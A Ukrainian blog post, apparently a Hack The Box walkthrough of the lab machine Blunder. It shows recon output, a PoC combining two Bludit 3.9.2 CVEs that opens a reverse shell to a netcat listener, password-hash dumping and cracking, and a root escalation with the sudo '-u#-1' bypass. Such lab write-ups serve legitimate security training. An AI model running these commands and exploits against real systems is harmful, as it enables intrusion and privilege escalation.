Друкарня від WE.UA

Стартуємо з Blunder - Linux машини легкого рівня.


Розвідка

Збір інформації почнемо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT   STATE  SERVICE REASON       VERSION
21/tcp closed ftp     conn-refused
80/tcp open   http    syn-ack      Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA

Результат feroxbuster:

500      GET        2l        4w       28c http://x.x.x.x/bl-themes/blogx/
200      GET        2l     1276w    88145c http://x.x.x.x/bl-kernel/js/jquery.min.js
200      GET        6l     1963w   155712c http://x.x.x.x/bl-kernel/css/bootstrap.min.css
200      GET      115l      200w     1404c http://x.x.x.x/bl-themes/blogx/css/style.css
200      GET        6l       30w     1894c http://x.x.x.x/bl-themes/blogx/img/favicon.png
200      GET        6l      987w    78586c http://x.x.x.x/bl-kernel/js/bootstrap.bundle.min.js
200      GET      170l      918w     7562c http://x.x.x.x/
200      GET       28l       28w      563c http://x.x.x.x/.gitignore
200      GET      170l      918w     7562c http://x.x.x.x/0
200      GET       21l      171w     1083c http://x.x.x.x/LICENSE
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/img/favicon.png
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/css/bootstrap.min.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/bootstrap.bundle.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/text/css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/jquery.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/image/x-icon
200      GET       70l      157w     2385c http://x.x.x.x/admin/
200      GET        1l        5w       30c http://x.x.x.x/install.php
200      GET        2l        4w       22c http://x.x.x.x/robots.txt
200      GET        4l       23w      118c http://x.x.x.x/todo.txt

Передивившись знахідки, можна відмітити для себе логін форму у CMS Bludit і todo.txt файл, у якому згадується такий собі fergus. Спроба перебору паролів за допомогою hydra з використанням кількох словників для користувача fergus не принесла бажаного результату.

Наступний крок - перевірити публічні експлойти для даної CMS(переглянувши HTML код вебсторінки, бачимо що версія аплікації 3.9.2). Знаходимо те, що нам потрібно в Exploit-DB Bludit 3.9.2 - Auth Bruteforce Bypass - PHP webapps Exploit і Bludit 3.9.2 - Directory Traversal - Multiple webapps Exploit.

CVE-2019-17240 - bl-kernel/security.class.php у Bludit 3.9.2 дозволяє атакуючому обійти механізм захисту від атак методом прямого перебору шляхом підробки X-Forwarded-For або Client-IP HTTP заголовків. Більше деталей тут.

CVE-2019-16113 - bl-kernel/ajax/upload-images.php у Bludit 3.9.2 має вразливість, яка дозволяє атакуючому здійснити віддалене виконання коду. Зловмисник може завантажити jpg/png файл, що містить PHP код і виконати його, перейшовши за посиланням на завантажений файл(наприклад ../bl-content/tmp/temp/evil.png)


Первинне проникнення

На щастя, добра людина створила код, який поєднує експлуатацію обох цих вразливостей(не забудьте запустити netcat/інший інструмент на ваш смак у режимі прослуховування порту). Однак, запустивши скрипт декілька разів з різними словниками, правильний пароль так і не був знайдений. Кілька разів вже попадалась на цьому на інших машинах - скоріше за все потрібен кастомізований словник, який можна згенерувати за допомогою cewl:

$ cewl http://x.x.x.x --with-numbers | grep -v CeWL  >> custom-wordlist.txt

Згенерований словник спрацював чудово, ми знайшли пароль для користувача fergus і отримали reverse shell з нашого таргету.

$ python3 poc.py                                                                                  
     _____      _    ______  _____  _____
    |  __ \    | |   | ___ \/  __ \|  ___|
    | |  \/ ___| |_  | |_/ /| /  \/| |__
    | | __ / _ \ __| |    / | |    |  __|
    | |_\ \  __/ |_ _| |\ \ | \__/\| |___
     \____/\___|\__(_)_| \_| \____/\____/

    This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.

    Created by: kisho64 (@h_a_m_i__)
    
Enter target URL (i.e. https://target.com): http://x.x.x.x
[ ~ ] Enter listener's IP: y.y.y.y
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...

[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): fergus
[ ~ ] Enter the location for password list: custom-wordlist.txt

[ * ] Tried: somepass
[ * ] Tried: anotherpass
[ * ] Tried: morepass
[ * ] Tried: passwordagain
[ + ] Creds found: fergus:correctpassword

[...] Attempting to login now...
[ + ] Login succeed... We are good to go :)

[ + ] The payload hPCHDONKfL.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...

[...] Attempting to get a shell... @ http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
[ + ] You should be getting a shell by now, if not open http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 43584
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$

Горизонтальне підвищення привілеїв

Озирнувшись трохи довкола, бачимо, що на машині є два облікових записи; user.txt файл знаходиться у домашній директорії користувача hugo і ми не маємо до неї доступу як www-data. Проінспектувавши цікаві файли в директорії, натрапляємо на /var/www/bludit-3.9.2/bl-content/databases/users.php файл, який містить хешовані(SHA-1) паролі для користувачів admin і fergus. Спроба отримати пароль для адміністратора не принесла результатів, тому рухаємось далі. Продовжуючи дослідження, бачимо, що /var/www/ містить директорію для новішої версії Bludit. Перевіряємо users.php файл для цієї версії і знаходимо хеш пароля для користувача hugo:

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
.....

Цей хеш не піддався hashcat(не всі словники панацея), зате Crackstation впорався чудово і тепер ми маємо пароль для користувача hugo.

www-data@blunder:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'   
www-data@blunder:/$ su - hugo
Password: hehehe

hugo@blunder:~$

Вертикальне підвищення привілеїв

Підвищення привілеїв до root на цій машині виявилось доволі швидким. Переглянемо список команд, які користувач hugo може виконувати з правами супер користувача:

hugo@blunder:~$ sudo -l
Password: hehehe

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Нас цікавить останній рядок, скористаємось гугл-пошуком і одразу знаходимо sudo 1.8.27 - Security Bypass в Exploit-DB.

CVE-2019-14287 - вразливість у версіях Sudo <1.8.28, яка дозволяє користувачам обійти механізми безпеки sudo і підвищити свої привілеї у системі; дозволяє sudo-користувачам виконувати команди як root, навіть якщо налаштування явно забороняють це.

Налаштування для користувача hugo говорять нам, що він може запускати /bin/bash як будь-який інший користувач, окрім root. Спробуємо застосувати знайдену техніку обходу цих налаштувань і отримуємо доступ до root:

hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: hehehe

root@blunder:/home/hugo# cd /root
root@blunder:/root# ls
log  reset.sh  root.txt  snap

Після вирішення машини(або навіть під час, якщо застряг) буває корисно і цікаво подивитись проходження від більш тямущих людей, щоб глибше зрозуміти технічні деталі та моменти, які проґавив.

Легенда

Статті про вітчизняний бізнес та цікавих людей:

  • Як побудована програма Meest China Academy

    Курс про товарний бізнес охоплює різні етапи роботи: від пошуку ідеї до перевірки товару, логістики та масштабування. Програма Meest China Academy містить 17 модулів, які послідовно розкривають ці теми без зведення всього навчання до однієї універсальної поради.

    Теми цього довгочиту:

    Meest
  • Які технології використані в Айфон 17

    Айфон 17 поєднує OLED-дисплей із частотою до 120 Гц, чип A19, дві камери Fusion 48 Мп і швидке заряджання через USB-C. У COMFY можна купити Айфон 17 з накопичувачем на 256 або 512 ГБ, вибравши конфігурацію відповідно до обсягу фото, відео та застосунків

    Теми цього довгочиту:

    Iphone 17
  • Як вибрати вживаний iPhone: коротке керівництво для розумної покупки

    Вторинний ринок смартфонів Apple активно зростає, і питання, як вибрати вживаний iPhone, стає актуальним для дедалі більшої кількості користувачів. Правильний підхід дозволяє отримати бу iPhone з актуальною iOS і доброю камерою за помітно нижчу ціну, ніж у нових пристроїв.

    Теми цього довгочиту:

    Iphone
  • Як подолати жіночу безплідність за допомогою донорських яйцеклітин

    Діагноз "безпліддя" рідко звучить як вирок одразу. Для багатьох жінок саме в цей момент вперше звучить словосполучення "донорські яйцеклітини" — і це часто не кінець шляху до материнства, а якраз новий, реальний шанс.

    Теми цього довгочиту:

    Донорство
  • Як заспокоїти зубний біль і чому самолікування може призвести до операції?

    Раптовий біль у зубі може призвести до порушення сну та ускладненого вживання їжі. Люди часто приймають таблетки, роблять полоскання або лікуються народними засобами. В таких випадках не варто відкладати візит до стоматолога, адже можуть з’явитись ускладнення.

    Теми цього довгочиту:

    Стоматологія
Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

5Довгочити
108Перегляди
1Підписники
На Друкарні з 15 червня 2024

Більше від автора

  • Проходження Hack The Box | Blocky

    Blocky - Linux машина легкого рівня. Якщо провести ретроспективу, то шлях від розвідки до отримання прав root користувача доволі простий, але те, що на машині є певна кількість кролячих нір, зробило її цікавою ціллю для практики.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Antique

    Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Nibbles

    Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.

    Теми цього довгочиту:

    Htb

Це також може зацікавити:

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Це також може зацікавити: